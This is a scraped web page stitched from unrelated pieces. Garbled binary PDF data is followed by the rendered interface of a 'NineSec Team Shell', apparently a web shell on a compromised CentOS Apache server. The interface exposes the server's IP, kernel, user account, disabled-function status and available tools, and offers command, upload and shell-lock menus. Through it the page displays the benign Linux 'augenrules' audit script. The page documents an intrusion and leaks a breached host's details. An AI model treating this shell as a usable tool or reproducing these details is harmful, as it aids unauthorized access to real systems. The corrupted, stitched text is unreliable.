%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.71.254.39
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0555) :  /usr/sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/sbin/augenrules
#!/bin/bash

# Script to concatenate rules files found in a base audit rules directory
# to form a single /etc/audit/audit.rules file suitable for loading into
# the Linux audit system

# When forming the interim rules file, both empty lines and comment
# lines (starting with # or <whitespace>#) are stripped as the source files
# are processed.
#
# Having formed the interim rules file, the script checks if the file is empty
# or is identical to the existing /etc/audit/audit.rules and if either of
# these cases are true, it does not replace the existing file
#

# Variables
#
# DestinationFile:
#   Destination rules file
# SourceRulesDir:
#   Directory location to find component rule files
# TmpRules:
#   Temporary interim rules file
# ASuffix:
#   Suffix for previous audit.rules file if this script replaces it.
#   The file is left in the destination directory with suffix with $ASuffix

DestinationFile=/etc/audit/audit.rules
SourceRulesDir=/etc/audit/rules.d
TmpRules=`mktemp /tmp/aurules.XXXXXXXX`
ASuffix="prev"
OnlyCheck=0
LoadRules=0
RETVAL=0
usage="Usage: $0 [--check|--load]"

# Delete the interim file on faults
trap 'rm -f ${TmpRules}; exit 1' 1 2 3 13 15

try_load() {
	if [ $LoadRules -eq 1 ] ; then
		/sbin/auditctl -R ${DestinationFile}
		RETVAL=$?
	fi
}

while [ $# -ge 1 ]
do
	if [ "$1" = "--check" ] ; then
		OnlyCheck=1
	elif [ "$1" = "--load" ] ; then
		LoadRules=1
	else
		echo "$usage"
		exit 1
	fi
	shift
done

# Check environment
if [ ! -d ${SourceRulesDir} ]; then
	echo "$0: No rules directory - ${SourceRulesDir}"
	rm -f ${TmpRules}
	try_load
	exit 1
fi

# Create the interim rules file ensuring its access modes protect it
# from normal users and strip empty lines and comment lines. We also ensure
#   - the last processed -D directive without an option is emitted as the first
#     line. -D directives with options are left in place
#   - the last processed -b directory is emitted as the second line
#   - the last processed -f directory is emitted as the third line
#   - the last processed -e directive is emitted as the last line
umask 0137
echo "## This file is automatically generated from $SourceRulesDir" >> ${TmpRules}
for rules in $(/bin/ls -1v ${SourceRulesDir} | grep "\.rules$") ; do
	cat ${SourceRulesDir}/${rules}
done | awk '
BEGIN   {
        minus_e = "";
        minus_D = "";
        minus_f = "";
        minus_b = "";
        rest = 0;
} {
        if (length($0) < 1) { next; }
        if (match($0, "^\\s*#")) { next; }
        if (match($0, "^\\s*-e")) { minus_e = $0; next; }
        if (match($0, "^\\s*-D\\s*$")) { minus_D = $0; next; }
        if (match($0, "^\\s*-f")) { minus_f = $0; next; }
        if (match($0, "^\\s*-b")) { minus_b = $0; next; }
        rules[rest++] = $0;
}
END     {
        printf "%s\n%s\n%s\n", minus_D, minus_b, minus_f;
        for (i = 0; i < rest; i++) { printf "%s\n", rules[i]; }
        printf "%s\n", minus_e;
}' >> ${TmpRules}

# If empty then quit
if [ ! -s ${TmpRules} ]; then
	echo "$0: No rules"
	rm -f ${TmpRules}
	try_load
	exit $RETVAL
fi

# If the same then quit
cmp -s ${TmpRules} ${DestinationFile} > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "$0: No change"
	rm -f ${TmpRules}
	try_load
	exit $RETVAL
elif [ $OnlyCheck -eq 1 ] ; then
	echo "$0: Rules have changed and should be updated"
	rm -f ${TmpRules}
	exit 0
fi

# Otherwise we install the new file
if [ -f ${DestinationFile} ]; then
	cp ${DestinationFile} ${DestinationFile}.${ASuffix}
fi
# We copy the file so that it gets the right selinux lable
cp ${TmpRules} ${DestinationFile}
chmod 0640 ${DestinationFile}
# Restore context on MLS system. /tmp is SystemLow & audit.rules is SystemHigh
if [ -x /usr/sbin/restorecon ] ; then
	/usr/sbin/restorecon -F ${DestinationFile}
fi
rm -f ${TmpRules}

try_load
exit $RETVAL

NineSec Team - 2022